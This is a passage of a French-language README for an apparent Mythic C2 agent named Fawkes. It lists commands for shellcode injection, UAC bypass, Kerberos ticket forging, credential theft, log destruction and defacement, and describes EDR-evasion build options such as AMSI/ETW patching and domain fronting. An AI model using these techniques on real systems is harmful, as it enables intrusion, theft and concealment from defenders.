sysmon-config | `sysmon-config [-action check\|rules\|events]` | **(Windows uniquement)** Détecter l'installation de Sysmon et extraire la configuration — statut du service/pilote, algorithme de hachage, indicateurs d'options, taille des données de règle, canaux d'événements. Détecte les installations renommées via l'altitude minifilter (T1518.001, T1562.001).
tac | `tac -path <file>` | Afficher les lignes d'un fichier dans l'ordre inverse. Utile pour visualiser les logs du plus récent au plus ancien. Multi-plateforme (T1083).
tail | `tail -path <file> [-lines <N>] [-head true] [-bytes <N>]` | Lire les N premières ou dernières lignes/octets d'un fichier sans transférer tout le contenu. Tampon circulaire pour un tail efficace, recherche inversée pour les gros fichiers. Multi-plateforme (T1005, T1083).
tcc-check | `tcc-check [-service <filter>]` | **(macOS uniquement)** Énumérer les permissions TCC (Transparency, Consent, and Control). Découvrir quelles applications ont l'accès à la caméra, au microphone, à l'enregistrement d'écran, à l'accès complet au disque. Regroupe par service avec résumé autorisé (T1082).
touch | `touch -path <file> [-mkdir true]` | Créer un fichier vide ou mettre à jour les horodatages d'un fichier existant. Création optionnelle du répertoire parent. Multi-plateforme (T1106).
thread-hijack | `thread-hijack -pid <PID> [-tid <TID>]` | **(Windows, macOS)** Injecter du shellcode via le détournement d'exécution de thread — suspendre un thread existant, rediriger PC/RIP vers le shellcode, reprendre. macOS utilise les API Mach (task_for_pid + thread_get/set_state), nécessite root (T1055.003).
threadless-inject | `threadless-inject` | **(Windows uniquement)** Injecter du shellcode en utilisant l'injection sans thread en accrochant une fonction DLL dans un processus distant. Plus furtif que l'injection vanilla car il ne crée pas de nouveaux threads.
ticket | `ticket -action forge\|request\|diamond\|renew\|s4u\|pkinit -realm <DOMAIN> -username <user> -key <hex_key> [-key_type aes256\|aes128\|rc4] [-format kirbi\|ccache] [-domain_sid <SID>] [-spn <SPN>] [-server <KDC>] [-impersonate <user>] [-krbtgt_key <hex>] [-target_user <user>] [-ticket <base64>] [-certificate <pem>] [-private_key <pem>]` | Forger, demander, renouveler, déléguer ou authentifier par certificat des tickets Kerberos. Forge : tickets Golden/Silver (hors ligne). Request : Overpass-the-Hash (en ligne). Diamond : véritable échange AS + modification du ticket pour l'évasion. Renew : prolonger la durée de vie du TGT. S4U : délégation contrainte via S4U2Self+S4U2Proxy. PKINIT : authentification basée sur certificat depuis ADCS/Shadow Creds. Multi-plateforme (T1558.001, T1558.002, T1550.002, T1134.001, T1649).
tr | `tr -path <file> -from [:lower:] -to [:upper:]` | Traduire, compresser ou supprimer des caractères dans le contenu d'un fichier. Prend en charge les classes de caractères et les plages. Multi-plateforme (T1083).
triage | `triage -action <all\|documents\|credentials\|configs\|database\|scripts\|archives\|mail\|recent\|custom\|recon-chain> [-path <dir>] [-hours <n>] [-target <subnet>] [-username <user>] [-password <pass>]` | Trouver des fichiers de grande valeur pour exfiltration — documents, identifiants, configurations, bases de données (.db/.sqlite), scripts (.py/.sh/.ps1), archives (.zip/.tar/.7z), fichiers email (.pst/.eml/.mbox), fichiers modifiés récemment, ou scan de chemin personnalisé. **recon-chain** : chaîne de sous-tâches automatisée — portscan → énumération de partage SMB → chasse aux partages → triage local (nécessite cible, nom d'utilisateur/mot de passe). Multi-plateforme (T1083, T1005).
trust | `trust -server <DC> -username <user@domain> -password <pass> [-use_tls]` | Énumérer les approbations de domaine/forêt via LDAP avec topologie de forêt, analyse de transitivité, force de chiffrement et identification des chemins d'attaque. Multi-plateforme (T1482).
timestomp | `timestomp -action <get\|copy\|set\|match\|random\|clean-prefetch> -target <file> [-source <file>] [-timestamp <time>]` | Modifier les horodatages des fichiers pour se fondre dans la masse. Obtenir, copier d'un autre fichier, définir une heure spécifique, correspondre aux voisins du répertoire (IQR), ou aléatoire dans une plage. `clean-prefetch` supprime les fichiers Prefetch Windows pour un exécutable nommé. Windows modifie également l'heure de création.
tscon | `tscon [-action <list\|hijack\|disconnect\|logoff>] [-session_id <id>]` | **(Windows uniquement)** Gestion des sessions RDP — lister, détourner, déconnecter ou fermer la session. Prise de contrôle de session sans identifiants (T1563.002).
ts | `ts [-a] [-i PID]` | **(Windows uniquement)** Lister les threads dans les processus. Par défaut, affiche uniquement les threads alertables (Suspendu/DelayExecution). Utilisez -a pour tous les threads, -i pour filtrer par PID (T1057).
uac-bypass | `uac-bypass [-technique fodhelper\|computerdefaults\|sdclt\|eventvwr\|silentcleanup\|cmstp\|dismhost\|wusa] [-command <path>]` | **(Windows uniquement)** Contourner l'UAC pour passer d'une intégrité moyenne à haute. 8 techniques : détournement de registre, détournement de variable d'environnement, abus de fichier INF, détournement de CLSID COM, répertoire de confiance simulé. Par défaut, lance un rappel élevé (T1548.002, T1218.003).
uniq | `uniq -path <file> [-count true] [-duplicate true] [-unique_only true]` | Filtrer ou compter les lignes consécutives en double dans un fichier. Le mode count trie par fréquence. Multi-plateforme (T1083).
unlink | `unlink -connection_id <uuid>` | Déconnecter un agent P2P lié (TCP ou tube nommé). Multi-plateforme (T1572).
uptime | `uptime` | Afficher la durée de fonctionnement du système, l'heure de démarrage et les moyennes de charge. Multi-plateforme (T1082).
upload | `upload` | Télécharger un fichier vers la cible avec transfert par morceaux. Prend en charge la décompression automatique des fichiers gzip. Vérification de hachage SHA256.
usn-jrnl | `usn-jrnl -action query\|recent\|delete [-volume C:]` | **(Windows uniquement)** Interroger ou supprimer le journal des modifications USN NTFS — détruit l'historique des opérations sur les fichiers pour l'anti-forensique (T1070.004).
vanilla-injection | `vanilla-injection -action <inject\|migrate\|ldpreload> -pid <PID>` | Injecter du shellcode dans un processus distant (inject), migrer l'agent (migrate : injecter + quitter), ou lancer un nouveau processus avec LD_PRELOAD .so (ldpreload : Linux uniquement, sans ptrace, contourne Yama). **Windows :** VirtualAllocEx/WriteProcessMemory/CreateRemoteThread. **Linux (amd64/arm64) :** écriture directe /proc/PID/mem, LD_PRELOAD via memfd. T1055.001, T1055.009, T1574.006.
vm-detect | `vm-detect [-action detect\|sandbox]` | Détecter l'environnement de VM/hyperviseur ou analyser l'évasion de sandbox. `detect` : OUI MAC, DMI/SMBIOS, outils VM, SCSI, indicateur CPU hyperviseur. `sandbox` : analyse notée — nombre de CPU, RAM, disque, durée de fonctionnement, timing de sommeil, nom d'hôte, nombre de processus, nom d'utilisateur. Multi-plateforme (T1497, T1497.001).
vss | `vss -action <list\|create\|delete\|delete-all\|extract\|inhibit-recovery\|shutdown\|reboot> [-volume C:\\] [-id <id>] [-confirm true]` | Techniques d'impact : gestion VSS (Windows), inhibition de récupération (T1490), arrêt/redémarrage (T1529, multi-plateforme). Les actions destructrices nécessitent -confirm true. MITRE T1003.003, T1490, T1529.
watch-dir | `watch-dir -path <dir> [-interval 5] [-duration 300] [-depth 3] [-pattern *.docx] [-hash true]` | Surveiller un répertoire pour les modifications du système de fichiers — détecte les fichiers nouveaux, modifiés et supprimés via sondage. Prend en charge le filtrage par glob et la détection de hachage MD5. Multi-plateforme (T1083, T1119).
wc | `wc -path <file_or_dir> [-pattern <glob>]` | Compter les lignes, mots, caractères et octets dans les fichiers. Mode répertoire avec filtrage par motif glob et totaux. Multi-plateforme (T1083).
wdigest | `wdigest -action <status\|enable\|disable>` | **(Windows uniquement)** Gérer la mise en cache des identifiants en clair WDigest. Activer pour capturer les mots de passe en clair à la prochaine connexion. MITRE T1003.001, T1112.
winrm | `winrm -host <target> -username <user> [-password <pass>] [-hash <NT hash>] -command <cmd> [-shell cmd\|powershell] [-auto-verify]` ou `winrm -action check -host <target> [-username <user> -password <pass>]` | Exécuter des commandes sur des hôtes Windows distants via WinRM avec authentification NTLM. Prend en charge le pass-the-hash, cmd.exe et PowerShell. `check` valide les prérequis WinRM (ports 5985/5986, auth, shell). Multi-plateforme (T1021.006, T1550.002).
windows | `windows [-action list\|search] [-filter <string>] [-all]` | **(Windows uniquement)** Énumérer les fenêtres d'application visibles — montre HWND, PID, nom de processus, classe de fenêtre et titre. Les filtres de recherche par titre/processus/classe. MITRE T1010.
who | `who [-all true]` | Afficher les utilisateurs actuellement connectés et les sessions actives. Linux : analyse utmp. Windows : API WTS. macOS : commande who. Multi-plateforme (T1033).
whoami | `whoami` | Afficher l'identité de l'utilisateur actuel et le contexte de sécurité. Windows : nom d'utilisateur, SID, type de jeton, niveau d'intégrité, appartenances aux groupes, privilèges. Linux : utilisateur, UID, GID, groupes, capacités effectives (décodées), contexte SELinux/AppArmor, détection de conteneur. macOS : utilisateur, UID, GID, groupes.
wmi | `wmi -action <execute\|query\|process-list\|os-info\|upload\|exec-staged\|check> [-target <host>] [-command <cmd>] [-query <wql>]` | **(Windows uniquement)** Exécuter des requêtes WMI, création de processus, téléchargement de fichiers et exécution mise en scène via COM API. upload : transférer des fichiers via certutil/PowerShell staging. exec-staged : télécharger puis exécuter avec nettoyage automatique. `check` valide les prérequis WMI (RPC 135, connectivité WMI). MITRE T1047, T1570.
wmi-persist | `wmi-persist -action <install\|remove\|list> -name <id> -trigger <logon\|startup\|interval\|process> -command <exe> [-consumer_type <command\|script>]` | **(Windows uniquement)** Persistance par abonnement aux événements WMI via l'API COM. Prend en charge les consommateurs CommandLine et ActiveScript (VBScript/JScript). Sans fichier, survit aux redémarrages. MITRE T1546.003.
wlan-profiles | `wlan-profiles [-name <SSID>]` | Récupérer les profils et identifiants des réseaux WiFi enregistrés. Windows : API WLAN, Linux : NetworkManager/wpa_supplicant/iwd, macOS : Keychain. Multi-plateforme (T1555).
write-file | `write-file [-action write\|deface] -path <file> -content <text> [-base64 true] [-append true] [-mkdir true] [-confirm DEFACE]` | Écrire du contenu dans des fichiers, ou défigurer des pages web. `write` : créer/écraser/ajouter (défaut). `deface` : remplacer le contenu web par un message de défiguration (T1491, porte de sécurité). Multi-plateforme (T1105, T1491).
write-memory | `write-memory <dll_name> <function_name> <start_index> <hex_bytes>` | **(Windows uniquement)** Écrire des octets à l'adresse d'une fonction DLL.
xattr | `xattr -action <list\|get\|set\|delete> -path <file> [-name <attr>] [-value <data>] [-hex true]` | **(Linux/macOS uniquement)** Gérer les attributs de fichiers étendus — lister, obtenir, définir, supprimer. Complément Unix aux ADS Windows pour la dissimulation de données (T1564.004).## Augmentation des commandes Forge

Fawkes prend en charge l'augmentation des commandes de [Mythic Forge](https://github.com/MythicAgents/forge), qui étend dynamiquement les capacités de l'agent avec des collections d'outils externes. Lorsque Forge est installé avec Mythic, des commandes supplémentaires apparaissent automatiquement dans l'interface utilisateur de Mythic pour les callbacks Fawkes — aucune reconstruction d'agent nécessaire.

**Collections d'outils prises en charge :**

| Collection | Type | Exécuté via | Exemples |
|------------|------|-------------|----------|
| [SharpCollection](https://github.com/Flangvik/SharpCollection) | .NET assemblies | `inline-assembly` | Seatbelt, SharpUp, Rubeus, Certify, SharpHound, SharpDPAPI |
| [Sliver Armory](https://github.com/MythicAgents/forge) | BOF/COFF files | `inline-execute` | SA-whoami, SA-adcs-enum, SA-ldapsearch, SA-nanodump |

### Configuration (Nouvelle installation)

**Étape 1 : Installer Forge**```bash
cd /path/to/Mythic
sudo ./mythic-cli install github https://github.com/MythicAgents/forge

Étape 2 : Ajouter Fawkes au support des types de payload de Forge

Modifiez InstalledServices/forge/payload_type_support.json et ajoutez l'entrée Fawkes au tableau JSON :```json { "agent": "fawkes", "bof_command": "inline-execute", "bof_file_parameter_name": "bof_file", "bof_argument_array_parameter_name": "coff_arguments", "bof_entrypoint_parameter_name": "function_name", "inline_assembly_command": "inline-assembly", "inline_assembly_file_parameter_name": "assembly_file", "inline_assembly_argument_parameter_name": "assembly_arguments", "execute_assembly_command": "", "execute_assembly_file_parameter_name": "", "execute_assembly_argument_parameter_name": "", "assembly_default_execution_method": "inline_assembly" }

root@kitploit:~
Ceci fait correspondre l'interface de paramètres générique de Forge aux noms de commandes et de paramètres spécifiques de Fawkes. Le mappage des champs :
- `bof_command` → la commande `inline-execute` de Fawkes (exécution BOF/COFF)
- `inline_assembly_command` → la commande `inline-assembly` de Fawkes (exécution d'assembly .NET)
- `execute_assembly_command` → vide (Fawkes utilise inline-assembly pour toute exécution .NET)
- Les noms des paramètres doivent correspondre exactement à ce que les agentfunctions de Fawkes définissent dans le groupe de paramètres "Forge"

**Étape 3 : Reconstruire et redémarrer**```bash
sudo ./mythic-cli build forge
sudo ./mythic-cli restart forge
sudo ./mythic-cli restart fawkes

Step 4: Enregistrer les sources d'outils

Ouvrez l'interface Mythic et utilisez la commande forge_register (disponible sur n'importe quel callback) pour enregistrer les sources d'outils. Sources courantes :

Pour enregistrer une source, exécutez forge_register avec commandName défini sur le nom simple de la source (par ex., Rubeus, pas forge_net_Rubeus) et remove défini sur false.

Après l'enregistrement, Forge télécharge les binaires des outils et crée des commandes augmentées (par ex., forge_net_Rubeus, forge_bof_nanodump) qui apparaissent dans la liste de commandes du callback.

Étape 5 : Vérification

Les callbacks existants voient automatiquement les commandes Forge — aucun nouveau payload nécessaire. Testez en exécutant un outil enregistré :

  1. Exécutez d'abord autopatch ou start-clr (patching AMSI pour les outils .NET)
  2. Sélectionnez une commande Forge (par ex., forge_net_Seatbelt)
  3. Entrez les arguments (par ex., -group=system)
  4. Exécutez — Forge traduit la commande en inline-assembly avec le binaire d'outil intégré

Conseils d'utilisation

  • Pour les outils .NET (SharpCollection), exécutez d'abord start-clr avec autopatch pour initialiser le CLR et patcher AMSI — sans cela, Windows Defender peut bloquer l'exécution de l'assembly
  • Pour les outils BOF (Sliver Armory), assurez-vous que les BOFs sont compilés pour x64
  • Aucun paramètre de build spécial n'est nécessaire — le support Forge est intégré aux commandes inline-execute et inline-assembly de Fawkes via le groupe de paramètres "Forge"
  • Les commandes Forge fonctionnent sur les callbacks existants sans reconstruire l'agent
  • Lors de l'envoi de commandes Forge via l'API, incluez payload_type: "forge" dans la mutation createTask — sans cela, Mythic ne recherche que le type de payload du callback

Techniques d'injection

Injection PoolParty

Injection Opus

VarianteTechniqueCibleShellcode Go
1Chaîne de gestionnaire Ctrl-CProcessus console uniquementNon
4PEB KernelCallbackTableProcessus GUI uniquementOui

Pour des descriptions détaillées des variantes, voir Détails des techniques d'injection.

Options de construction

Méthodes d'exportation DLL

Lors de la construction en mode shared (DLL) ou windows-shellcode, le paramètre de construction dll_exports contrôle quelles exportations DLL sont incluses :

Méthodes d'exécution avec exports complets :

Inflation binaire

Fawkes prend en charge l'inflation binaire optionnelle au moment de la construction. Cela intègre un bloc d'octets répétés dans l'agent compilé, qui peut être utilisé pour augmenter la taille du fichier ou abaisser les scores d'entropie.

Deux paramètres de construction contrôlent cela :

  • inflate_bytes - Octets hexadécimaux à intégrer (par ex. 0x90 ou 0x41,0x42)
  • inflate_count - Nombre de fois pour répéter le motif d'octets

Le motif d'octets est répété inflate_count fois, donc la taille totale ajoutée est length(byte_pattern) * inflate_count.

Référence rapide pour le dimensionnement :

Lorsque l'inflation n'est pas configurée, seul 1 octet de surcharge est ajouté au binaire.

Intégration de ressources PE (Windows uniquement)

Les binaires Windows PE contiennent des ressources de métadonnées — informations de version, icônes et manifestes UAC — visibles dans les propriétés du fichier, le gestionnaire de tâches et l'explorateur. Les binaires Go par défaut n'ont aucune de ces métadonnées, ce qui est un signal de détection fort pour les outils de sécurité et les analystes.

Fawkes prend en charge l'intégration de ressources PE au moment de la construction pour imiter les binaires Windows légitimes :

Paramètres de construction :

Préréglages (10 binaires Windows courants avec de vraies informations de version) : notepad, svchost, cmd, explorer, msiexec, dllhost, rundll32, conhost, taskhostw, RuntimeBroker

Les champs individuels remplacent les valeurs prédéfinies. Lorsqu'aucun paramètre de ressource PE n'est défini, le binaire reste inchangé par rapport à la sortie Go par défaut.

Fonctionnalités Opsec

Suivi des artefacts

Fawkes enregistre automatiquement les artefacts auprès de Mythic pour les commandes pertinentes pour l'opsec. Les artefacts apparaissent dans l'interface Mythic sous l'onglet Artifacts, donnant aux opérateurs une image claire de tous les indicateurs médico-légaux générés lors d'un engagement.

Types d'artefacts suivis :

Les commandes en lecture seule (ls, ps, cat, env, etc.) ne génèrent pas d'artefacts.

Intégration du coffre d'identifiants

Les commandes de récupération d'identifiants signalent automatiquement les découvertes au magasin Credentials de Mythic, les rendant consultables et exportables depuis l'interface Mythic.

Suivi des frappes

La commande keylog s'intègre avec la fonctionnalité Keylogs de Mythic. Lorsque les frappes sont renvoyées via stop ou dump, elles sont automatiquement analysées par titre de fenêtre et envoyées au tracker de keylog de Mythic avec attribution de l'utilisateur. Les keylogs sont consultables dans l'interface Mythic par titre de fenêtre, utilisateur ou contenu des frappes.

Suivi des jetons

Les commandes make-token et steal-token enregistrent les jetons auprès du tracker Callback Tokens de Mythic. Cela fournit une visibilité sur quels jetons sont associés à chaque callback, y compris l'identité de l'utilisateur usurpé et le processus source. La commande rev2self supprime automatiquement les jetons suivis lorsque l'usurpation est abandonnée.

Vérification du certificat TLS

Contrôlez comment l'agent valide les certificats HTTPS lors de la communication avec le serveur C2. Configuré au moment de la construction via le paramètre tls_verify :

ModeDescription
noneIgnorer toute vérification TLS (par défaut, rétrocompatible)
system-caValider les certificats par rapport au magasin de confiance du système d'exploitation
pinned:<sha256>Épingler à une empreinte de certificat spécifique (SHA-256 hex). L'agent rejette les connexions si le certificat serveur ne correspond pas.

L'épinglage de certificat empêche l'interception MITM du trafic de l'agent même si un attaquant contrôle une AC de confiance.

Usurpation d'empreinte TLS (JA3)

La pile TLS standard de Go produit un hachage JA3 distinctif que les outils de sécurité réseau peuvent identifier comme du trafic non-navigateur. Le paramètre de construction tls_fingerprint utilise uTLS pour usurper le ClientHello TLS, produisant une empreinte JA3 correspondant à un navigateur.

Authentification par certificat client TLS mutuel (mTLS)

Ajoutez l'authentification par certificat client au profil HTTP C2. Lorsqu'il est configuré, l'agent présente un certificat client lors de la poignée de main TLS, permettant au serveur C2 de vérifier l'identité de l'agent. Cela empêche l'interception HTTPS passive et les attaques MITM par proxy.

ParamètreDescription
mtls_certCertificat client encodé en PEM
mtls_keyClé privée client encodée en PEM

Le certificat/clé sont encodés en base64 au moment de la construction, chiffrés en XOR si l'obfuscation de chaîne est activée, et stockés dans le coffre de configuration AES-256-GCM à l'exécution. Combine avec les modes de vérification TLS existants et l'usurpation d'empreinte JA3.

URLs C2 de secours

Plusieurs URLs de callback C2 avec basculement automatique. Si l'hôte de callback principal est inaccessible, l'agent parcourt de manière transparente les URLs de secours avant d'appliquer un backoff.

ParamètreDescription
fallback_hostsHôtes C2 de secours séparés par des virgules (par ex. http://backup1.example.com,https://backup2.example.com)

Même port et chiffrement que le primaire. Mémorise la dernière URL réussie. Fonctionne avec le coffre de configuration et l'obfuscation XOR.

Verrouillage environnemental / Garde-fous

Empêchez l'agent de s'exécuter sur des systèmes non autorisés. Configuré au moment de la construction — l'agent se ferme silencieusement avant tout contact réseau si les vérifications échouent. Aucune journalisation, aucun artefact, aucun trafic C2.

Tous les motifs sont insensibles à la casse et ancrés pour correspondre à la valeur complète. Plusieurs clés peuvent être combinées — toutes doivent passer. Les motifs regex invalides échouent en mode fermé (l'agent se ferme). Laissez vide pour ignorer une vérification.

Dérivation de clé environnementale (env_key_derive): Lorsqu'elle est définie, toute la configuration C2 sensible (hôte de callback, UUID, clé de chiffrement, URI, paramètres proxy, etc.) est chiffrée en AES-256-GCM au moment de la construction en utilisant une clé dérivée de l'environnement de la cible. À l'exécution, l'agent re-dérive la clé de son propre environnement — si elle ne correspond pas (mauvais hôte/domaine/utilisateur), le déchiffrement échoue et l'agent se ferme silencieusement. C'est plus fort que la correspondance regex car les valeurs de config ne sont jamais présentes dans le binaire sous quelque forme que ce soit. Nécessite que les valeurs env_key_* correspondantes contiennent les valeurs cibles EXACTES (pas de motifs regex). Se cumule avec obfuscate_strings (couche XOR appliquée d'abord, puis AES-GCM).

Obfuscation des chaînes C2

Activez le paramètre de construction obfuscate_strings pour encoder en XOR toutes les chaînes de configuration C2 (hôte de callback, URI, user agent, clé de chiffrement, UUID) au moment de la construction avec une clé aléatoire de 32 octets par construction. Empêche l'extraction triviale d'IOC via strings sur le binaire. Décodé à l'exécution. Multi-plateforme.

BlockDLLs pour les processus enfants

Activez le paramètre de construction block_dlls pour appliquer PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON à tous les processus enfants générés par l'agent (commandes run, powershell). Empêche l'EDR d'injecter des DLL de surveillance dans les processus générés. Utilise STARTUPINFOEX avec UpdateProcThreadAttribute. Windows uniquement.

Usurpation du PID parent pour les sous-processus

Définissez config -action set -key default_ppid -value <PID> à l'exécution pour faire apparaître tous les processus enfants (run, powershell) comme enfants d'un processus légitime (par ex., explorer.exe). Contrecarre la détection de relation parent-enfant par l'EDR. Se combine avec BlockDLLs lorsque les deux sont actifs. Utilise UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS). Désactivez avec config -action set -key default_ppid -value 0. Windows uniquement (T1134.004).

Auto-Patch ETW/AMSI

Activez le paramètre de construction auto_patch pour patcher automatiquement EtwEventWrite et AmsiScanBuffer au démarrage de l'agent. Cela empêche la détection basée sur ETW et l'analyse AMSI avant toute activité de l'agent — aucune commande manuelle requise. Windows uniquement (sans effet sur Linux/macOS).

Auto-suppression

Activez la suppression automatique du binaire au démarrage via le paramètre de construction self_delete. Une fois que l'agent commence à s'exécuter, il supprime son propre fichier du disque — éliminant l'artefact médico-légal principal.

  • Linux/macOS: Utilise os.Remove() — le processus en cours continue via le mappage d'inode en mémoire. Le fichier disparaît immédiatement du disque.
  • Windows: Utilise la technique de renommage de flux NTFS — renomme le flux :$DATA par défaut puis supprime l'entrée du fichier. Aucun processus enfant généré.

Le binaire est supprimé après que les vérifications de clé environnementale réussissent mais avant que l'activité réseau commence.

Masquage de processus (Linux)

Définissez le paramètre de construction masquerade_name pour changer le nom du processus de l'agent sous Linux. Utilise prctl(PR_SET_NAME) pour modifier /proc/self/comm, qui est affiché par ps, top et htop. Max 15 caractères.

Noms utiles : [kworker/0:1], [migration/0], sshd, apache2, [rcu_preempt]

Combiné avec l'auto-suppression, l'agent apparaît comme un thread noyau ou un service légitime sans fichier sur le disque.

Pages de garde mémoire de veille

Activez sleep_guard_pages (nécessite sleep_mask=true) pour appliquer VirtualProtect(PAGE_NOACCESS) sur la mémoire du coffre chiffrée pendant les cycles de veille. Après que le masque de veille chiffre les données sensibles (AES-256-GCM) et met à zéro les originales, les pages de garde déplacent le coffre vers une mémoire VirtualAlloc dédiée et la marquent NO_ACCESS. Les scanners mémoire EDR, ReadProcessMemory, WinDbg et Process Hacker obtiennent STATUS_ACCESS_VIOLATION en essayant de lire le coffre. Les pages sont restaurées à PAGE_READWRITE au réveil avant le déchiffrement. Sur Linux/macOS, les pages de garde utilisent mmap(MAP_ANON) + mprotect(PROT_NONE) — le sondage déclenche SIGSEGV.

La clé du coffre de veille est liée au matériel via HKDF-SHA256 : une graine aléatoire est mélangée avec un hachage SHA-256 de la chaîne de marque du CPU et de l'UUID de la machine. Si quelqu'un extrait le blob du coffre d'un vidage mémoire et tente le déchiffrement sur un matériel différent, la dérivation de clé produit une clé différente.

Usurpation de pile d'appels

Activez stack_spoof pour usurper la pile d'appels du thread en veille, contrecarrant les outils de balayage de threads EDR (Hunt-Sleeping-Beacons, Moneta, CrowdStrike).

  • Windows (nécessite indirect_syscalls=true) : Un thread natif dédié exécute NtDelayExecution avec de fausses adresses de retour pointant vers kernel32!SleepEx, kernel32!BaseThreadInitThunk et ntdll!RtlUserThreadStart — la chaîne d'initialisation de thread standard attendue par l'EDR.
  • Linux amd64 : Un processus enfant est créé via clone(CLONE_VM) avec son propre stub de code machine de 291 octets dans une mémoire mmap anonyme. L'enfant appelle nanosleep directement via un appel système brut — aucune adresse de code Go runtime ou agent n'apparaît sur la pile du thread en veille. Les gestionnaires de signaux sont réinitialisés à SIG_DFL dans l'enfant, et PR_SET_PDEATHSIG garantit que l'enfant meurt lorsque le parent se ferme.
  • macOS arm64 : Un pthread natif est généré avec un stub de code machine ARM64 de 140 octets dans une mémoire mmap anonyme. Le thread utilise __ulock_wait/__ulock_wake pour la synchronisation avec le runtime Go et appelle nanosleep via un appel système brut — la pile du thread en veille n'affiche que le stub anonyme et les trames noyau, aucun code Go runtime ou agent.

En-têtes HTTP personnalisés

Tous les en-têtes définis dans la configuration du profil HTTP C2 de Mythic sont appliqués à chaque requête. Au-delà de User-Agent (toujours pris en charge), les opérateurs peuvent ajouter des en-têtes comme Accept-Language, Referer, Cookie ou X-Forwarded-For pour mélanger le trafic C2 avec les motifs de trafic web légitime.

Domain Fronting

Définissez le paramètre de construction host_header pour remplacer l'en-tête HTTP Host. Cela permet le domain fronting : acheminez le trafic via un CDN (par ex., CloudFront, Azure CDN) tandis que l'en-tête Host cible votre domaine C2 réel. Pour les défenseurs réseau, le trafic semble aller à l'adresse IP du CDN.

Support proxy

Définissez le paramètre de construction proxy_url pour acheminer le trafic de l'agent via un proxy HTTP ou SOCKS. Utile pour opérer dans des réseaux d'entreprise avec des serveurs proxy obligatoires.Exemples : http://proxy.corp.local:8080, socks5://127.0.0.1:1080

Proxies authentifiés : Définissez proxy_user et proxy_pass pour l'authentification Basic. Pour les proxies d'entreprise nécessitant une authentification de domaine Windows, définissez également proxy_domain (par ex., CORP) pour activer l'authentification NTLM. La poignée de main NTLM (Type1→Type2→Type3) est effectuée automatiquement lors de l'établissement du tunnel CONNECT.

Détection du proxy système (Windows) : Lorsque proxy_url n'est pas défini, l'agent interroge WinHTTP pour les paramètres de proxy système, y compris la détection automatique PAC/WPAD.

Suppression des chemins de construction (-trimpath)

Toutes les compilations utilisent le drapeau -trimpath de Go pour supprimer les chemins locaux du système de fichiers du binaire compilé. Sans cela, des chemins comme /home/user/project/... et /go/pkg/mod/... fuient dans le binaire via les traces de panique et les métadonnées d'exécution. Combiné avec -s -w (suppression des symboles) et un -buildid vide, cela minimise les informations forensiques dans le binaire. Les compilations Garble gèrent déjà cela ; -trimpath couvre les compilations non-Garble.

Analyse post-construction YARA

Après la compilation, la charge utile construite est automatiquement scannée par un ensemble de règles YARA qui modélisent les motifs de détection courants des défenseurs. Les résultats sont affichés dans la sortie de construction Mythic comme une étape informative — l'analyse n'échoue jamais la construction.

Catégories de détection scannées :

  • Identification de binaire Go et fuites de symboles
  • Chemins de construction/développement divulgués
  • Indicateurs de chaînes du framework Mythic/C2
  • Noms d'API d'injection Windows
  • Noms d'API d'accès aux identifiants
  • Motifs d'API de contournement de la défense
  • Chaînes de mécanismes de persistance
  • Configuration C2 en clair

Cela aide les opérateurs à comprendre le risque de détection et à choisir les options opsec appropriées (garble, obfuscate_strings, etc.) avant le déploiement.

Profils C2 pris en charge

Profil HTTP

Le profil HTTP rappelle au serveur Mythic via le profil de base non dynamique. C'est le profil de sortie par défaut — l'agent interroge Mythic pour les tâches via HTTP/HTTPS.

Fonctionnalités malléables :

  • Randomisation d'URI : get_uri et post_uri supportent des jetons qui sont résolus par requête :
    • {rand:N} — N caractères hexadécimaux aléatoires (ex. /api/{rand:8} → /api/a3f82b1c)
    • {int:M-N} — entier aléatoire dans l'intervalle (ex. /v{int:1-3}/status → /v2/status)
  • Cyclage du Content-Type : Définissez le paramètre de construction content_types sur une liste séparée par des virgules (ex. application/json,text/plain,application/x-www-form-urlencoded). L'agent les parcourt en round-robin. Par défaut : application/x-www-form-urlencoded.
  • Rotation du User-Agent : Définissez le paramètre de construction user_agent_pool sur une liste séparée par des sauts de ligne de chaînes User-Agent. L'agent les alterne par requête, éliminant l'empreinte UA statique. Par défaut : un seul UA Chrome 134.

Profil TCP P2P

Le profil TCP permet la liaison d'agents pair-à-pair (P2P) pour le pivotement interne. Un agent enfant écoute sur un port TCP ou un named pipe Windows et attend qu'un agent parent se connecte via la commande link. Toutes les tâches et réponses sont routées via le canal de sortie du parent (HTTP), donc l'enfant ne contacte jamais Mythic directement.

Architecture :``` Mythic Server ←──HTTP──→ Egress Agent (HTTP profile) │ ├──TCP──→ Child Agent A (TCP profile, port 7777) ├──TCP──→ Child Agent B (TCP profile, port 8888) └──SMB──→ Child Agent C (named pipe, \host\pipe\msrpc-f9a1)

root@kitploit:~
**Paramètres de construction :**

| Paramètre | Description | Par défaut |
|-----------|-------------|---------|
| `tcp_bind_address` | Adresse et port sur lesquels l'enfant doit écouter (ex. `0.0.0.0:7777`) | _(vide = mode HTTP)_ |
| `namedpipe_bind_name` | Nom du tube nommé sur lequel l'enfant doit écouter (ex. `msrpc-f9a1`). Windows uniquement. | _(vide)_ |

Lorsque `tcp_bind_address` ou `namedpipe_bind_name` est défini, l'agent démarre en mode écouteur P2P au lieu du mode de sortie HTTP.

**Flux de travail (TCP) :**

1. Construisez un **agent enfant** avec le profil C2 TCP et `tcp_bind_address` défini (ex. `0.0.0.0:7777`)
2. Déployez l'enfant sur un hôte interne (aucun accès Internet requis)
3. Depuis un **agent de sortie** (profil HTTP), exécutez : `link -host <child_ip> -port 7777`
4. Mythic crée un nouveau callback pour l'enfant — toutes les tâches transitent par l'agent de sortie
5. Pour déconnecter : `unlink -connection_id <uuid>`

**Flux de travail (tube nommé) :**

1. Construisez un **agent enfant** avec le profil C2 TCP et `namedpipe_bind_name` défini (ex. `msrpc-f9a1`)
2. Déployez l'enfant sur un hôte Windows interne
3. Depuis un **agent de sortie**, exécutez : `link -connection_type namedpipe -host <child_ip> -pipe_name msrpc-f9a1`
4. La connexion utilise SMB (port 445), se mélangeant au trafic normal de partage de fichiers Windows
5. Pour déconnecter : `unlink -connection_id <uuid>`

**Chiffrement :** AES-256-CBC avec HMAC-SHA256 (comme pour le profil HTTP). Le protocole filaire utilise un préfixe de longueur de 4 octets sur TCP ou tube nommé.

